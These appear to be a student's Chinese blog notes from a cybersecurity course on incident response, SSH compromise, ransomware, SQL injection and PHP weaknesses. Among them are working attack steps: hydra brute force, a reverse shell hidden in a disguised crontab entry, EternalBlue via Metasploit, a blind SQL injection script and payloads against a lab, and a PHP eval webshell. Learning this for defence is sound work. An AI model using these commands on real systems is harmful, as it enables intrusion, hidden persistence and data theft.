网络安全学习笔记

本文为B站网络安全课程自学内容笔记,仅用于学习记录,严禁用于非法途径。任何危害网络安全与违法犯罪行为皆与本站无关。

应急响应

概念

应急响应(Incident Response/Emergency Response等),通常是指一个组织为了应对各种意外事件发生前所做的准备,以及在意外事件发生后所采取的措施。

网络安全应急响应 是指针对已经发生或可能发生的安全事件进行监控、分析、协调、处理、保护资产安全。

作用与意义

  • 未雨绸缪
  • 亡羊补牢

事件级别

  1. 特别重大事件:红色预警、一级响应
  2. 重大事件:橙色预警、二级响应
  3. 较大事件:黄色预警、三级响应
  4. 一般事件:蓝色预警、四级响应

事件类型

  • 应用安全:Webshell、网页篡改、网页挂马…
  • 系统安全:勒索病毒、挖矿木马、远控后门…
  • 网络安全:DDOS攻击、ARP攻击、流量劫持…
  • 数据安全:数据泄露、损坏、加密…

应急响应模型(PDCERF)

  1. 准备阶段(Preparation)
  2. 检测阶段(Detection)
  3. 抑制阶段(Containment)
  4. 根除阶段(Eradication)
  5. 恢复阶段(Recovery)
  6. 总结阶段(Follow-up)

实际处理可能的模型

  1. 确定攻击时间
  2. 查找攻击线索
  3. 梳理攻击流程
  4. 实施解决方案
  5. 定位攻击者,溯源取证

黑客常用攻击流程:

SSH

简介

SSH(Secure Shell)是一种加密的网络传输协议,主要用于在不安全的网络中提供安全的远程登录、文件传输和命令执行等功能。

通过SSH拿下服务器

SSH 即 Secure Shell(安全外壳协议),是一种用于远程访问及文件传输的网络安全协议。

扫描同网段下的主机

arp-scan -l

攻击机IP 靶机IP

1、信息收集 爆破SSH服务

  1. 检查SSH服务是否启动!
  2. SSH的默认端口:22
  3. 使用nmap扫描目标主机端口
nmap 靶机IP

2、爆破SSH (可用hydra,美杜莎,MSF等,需要有字典)

hydra -L users.txt -P password.txt ssh://靶机IP:22/

hydra介绍:

hydra 是一款非常强大的暴力破解工具,它是由薯名的黑

客组织THC开发的一款开源暴力破解工具。hydra是一个

验证性质的工具,主要目的是:展示安全研究人员从远

程获取一个系统认证权限。

Hydra(九头蛇)工具使用教程(非常详细)

获取到用户名,密码:login: root password: root

3、SSH登录

ssh root@靶机IP

此时在靶机上就可以查到被访问记录

4、后门木马

进入靶机的/tmp下

创建隐藏计划任务(反向shell)

nc 攻击机ip 8888 -e /bin/bash

给予可执行权限

(crontab -l;printf "* * * * * /tmp/future.sh;\rno crontab for 'whoami'%100c\n")|crontab -

crontab -l查看计划任务

* * * * * /tmp/future.sh每隔一分钟执行 /tmp/future.sh下的脚本

no crontab for ‘whoami’当前用户是谁

100c 100个空格

正向shell:攻击机直接连接目标机器

反向shell:让目标机器来连接攻击机

运行future2.sh

监听8888端口,获取反弹shell

应急响应(受害者角度)

1.查看网络连接情况

netstat -antpl

找到异常进程

2.查看守护进程

查看进程树:pstree -p

查看进程:systemctl status 3199

3.查看计划任务

crontab -l:未发现有计划任务,可能是隐藏的计划任务

查看/var/spool/cron/crontabs下的任务

使用cat -A root或者cat -vET root:可以看到隐藏内

或者vim root: 直接骗辑也可以看到具体任务的内容

4.找到task.sh文件

发现权限为root,说明攻击者以root账户登录,很有可能root账户密码被爆破。可以通过lastb查看登录日志确认。

last -f /var/log/wtmp查看登录成功的日志。

last -f /var/log/btmp查看登录失败的日志。

5.删除计划任务、结束异常进程

  • 删除隐藏计划任务:crontab -r -u root
  • 杀掉恶意进程:kill 进程ID
  • 删除异常文件:rm task.sh
  • 修改密码:passwd root
  • 关闭root用户远程连接的权限:vim /etc/ssh/sshd_config修改PermitRootLogin为no,增强权限控制
  • 修改SSH默认端口:vim /etc/ssh/sshd_config将22端口修改成其他端口,并将#删掉

勒索病毒

病毒和木马

病毒:感染型病毒,是编制者在计算机程序中插入的破

坏计算机功能或者数据的代码,能影响计算机使用,能

自我复制的一组计算机指令或者程序代码。

特性:传播性,隐蔽性,感染型,破环性,潜伏性

木马:”木马计”,木马是一种带有恶意性质的远程控制软件。它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。

区别

  1. 病毒会传染, 木马不会
  2. 病毒入侵后会有感知,而木马不会
  3. 病毒主要以破坏著称

简介

勒索病毒,是一种电脑病毒,主要以邮件,程序木马,网页挂马等形式进行传播。该病毒性质恶劣,危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。勒索病毒通常使用非对称和对称加密算法组合的形式来加密文件,绝大部分勒索病毒均无法通过技术手段解密,一般无法朔源,危害巨大。

解密方法

入侵攻击者的服务器,获取非对称加密的私钥,用非对称加密的私钥,解密经过非对称加密公钥加密后的对称加密密钥,进而解密文件数据
勒索病毒加密算法设计存在问题,比如2018年“微信支付”勒索病毒,加密密钥存放在本地,所以很快就被破解
暴力破解
支付赎金,下载特定的解密器

模拟攻击——Wannacry勒索病毒

运行msf:msfconsole

输入search ms17_010找到永恒之蓝服务

use 0进行使用,通过options查看设置内容,要求为yes为必填项,要求为no为可选项

开始攻击

set rhosts 目标ip
run

详解:https://www.bilibili.com/video/BV1PaQ3YGEq9/?p=22

应急响应

1、事件状态判断

2、临时处置

  1. 被感染主机:网络隔离、禁止使用U盘和移动硬盘
  2. 未感染主机:隔离、关闭SSH、RDP等协议、禁止使用U盘和移动硬盘

3、信息收集分析

  1. 样本获取
  2. Windows系统:
  1. 文件排查
  2. 进程排查
  3. 日志排查

4、事件处置

  1. 被感染主机:网络隔离、等待解密进展、重装系统
  2. 未感染主机:补丁修复、事件加固

5、事件防御

SQL注入

MySQL特性:

原理

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

本质:把用户输入的数据当成是代码来执行

关键点:

  1. 用户能够控制输入的内容
  2. 数据库能够执行用户输入的内容

危害:

  1. 盗取网站的敏感信息
  2. 绕过网站后台认证

分类

根据注入位置分类:GET型,POST型,Head头注入。

根据反馈结果分类:有回显(显错注入),无回显(盲注)

根据数据类型分类:

  1. 数字型:输入的参数为整型,如id,年龄,页码等
  2. 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要闭合,而字符串型一般需要闭合

攻击流程

1、寻找注入点

2、判断闭合方式

先判断是数字型还是字符型

再判断闭合方式

在线靶场:https://sqli-labs.bachang.org/

详解:https://www.bilibili.com/video/BV1PaQ3YGEq9?p=31

布尔盲注(基于布尔判断的盲注)

什么是盲注?

盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。

特性

在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

流程

1、确定注入点

方法:通过增加’和增加–+注释符,语句从执行失败变为执行成功判断注入点

语句:

https://sqli-labs.bachang.org/Less-8/?id=1'
https://sqli-labs.bachang.org/Less-8/?id=1''
https://sqli-labs.bachang.org/Less-8/?id=1' --+

2、判断数据库版本

方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;

语句:

https://sqli-labs.bachang.org/Less-8/?id=1' and left(version(), 1) >= 5 --+

3、判断数据库名长度

https://sqli-labs.bachang.org/Less-8/?id=1' and length(database()) = 8 --+

4、猜当前数据库的名称

ascii() 字符串比较

substr() 字符串截取

substr(1,2,3)

1:需要截取的字符串

2:从第几位开始

3:截取多少位

https://sqli-labs.bachang.org/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+

5、猜当前表的名称

获取数据表名称的SQL语句:

select table_name from information_schema.tables where table_schema=database()

表的数量:count()

select count(table_name) from information_schema.tables where table_schema=database()

第一个表

select table_name from information_schema.tables where table_schema=database() limit 0,1

长度

length((select table_name from information_schema.tables where table_schema=database() limit 0,1))

第一个表的名字

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

以下为简单的盲注脚本:

import requests
import string

url = "https://sqli-labs.bachang.org/Less-8/?id="
select = "select database()"
#select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
#select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):
    for ch in string.ascii_letters + string.digits + ",:}{_":
        payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
        r = requests.get(url = url + payload)
        if "You are in" in r.text:
            result += ch
            print(result)
            break
        if ch == "_":
            print("**注入完成**")
            exit(0)

一句话木马

一句话木马 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此

基本原理:

用最为常见的php一句话木马为例,<?php @eval($_POST[‘cmd’]);?>

<?php ?>为php固定规范写法

@表示后面如果执行错误不会报错

eval()函数表示括号里的语句字符串全做代码执行,

$_POST[‘cmd’]表示从页面中以post方式接受变量cmd

PHP弱类型

PHP语言 是弱类型的,在申明一个变量的时候,并不需要指明它保存的数据类型。弱类型语言对变量的数据类型没有限制,可以将变量赋值成其他类型变量,同时变量可以转换成任意其他类型的数据。在类型转换的过程中,变量的值可能会改变,造成了php弱类型问题。

==和===比较的区别

  • ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
  • ==在进行比较的时候,会先将字符串类型转化成相同,再比较。
  • 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行

转换规则

  • 字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
  • e和E表示科学计数法,要按照科学计数法数字处理,不能按照字符串处理。

示例:

<?php
  var_dump("admin"==0); // t
  var_dump("1admin"==1); // t
  var_dump("admin1"==1); // f
  var_dump("admin1"==0); // t
  var_dump("0e123456"=="0e4456789"); // t
  var_dump(1 + "10.5"); // 11.5
  var_dump(1 + "-1.3e3"); // -1299
  var_dump(1 + "bob-1.3e3"); // 1
  var_dump(1 + "2admin"); // 3
  var_dump(1 + "admin2"); // 1
?>

md5

MD5 消息摘要算法,属Hash算法一类。MD5算法对输入任意长度的消息进行运行,产生一个128位的消息摘要(32位的数字字母混合码).

md5主要特点:不可逆,相同数据的MD5值肯定一样,不同数据的MD5值不一样

使用md5加密

<?php
  $a = 123456;
  $b = md5($a);
  echo $b;
?>

md5在线解密破解

弱类型比较绕过

$a != $b

md5($a) == md5($b)

解题思路:

找到不同$a和$b,两者的md5值均为0e开头的形式

$a == md5($a)

解题思路:

找到一个0e开头,md5后依然是0e开头的$a

$a != $b

md5($a) === md5($b)

解题思路:

使$a和$b为两个不同的数组(array),两者的md5值均为null。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇